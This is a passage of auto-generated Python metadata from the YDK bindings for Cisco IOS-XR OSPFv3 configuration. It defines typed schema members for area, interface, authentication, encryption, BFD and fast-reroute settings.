_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' Only valid with DefaultInfoOriginate
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' Only valid with DefaultInfoOriginate
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-redistribution', ATTRIBUTE, 'bool' , None, None,
[], [],
''' No redistribution into this NSSA area
''',
'no_redistribution',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-summary', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Do not send summary LSA into NSSA
''',
'no_summary',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'nssa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor',
False,
[
_MetaInfoClassMember('neighbor-address', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPV6 address
''',
'neighbor_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' OSPFv3 cost for point-to-multipoint
neighbor
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Filter OSPFv3 LSA during synchronization
and flooding for point-to-multipoint
neighbor
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('poll-interval', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' OSPFv3 dead-router polling interval (in
seconds)
''',
'poll_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' OSPFv3 priority of non-broadcast neighbor
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('zone', ATTRIBUTE, 'str' , None, None,
[], [],
''' Zone
''',
'zone',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbor',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors',
False,
[
_MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor',
[], [],
''' IPv6 address
''',
'neighbor',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbors',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6
prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
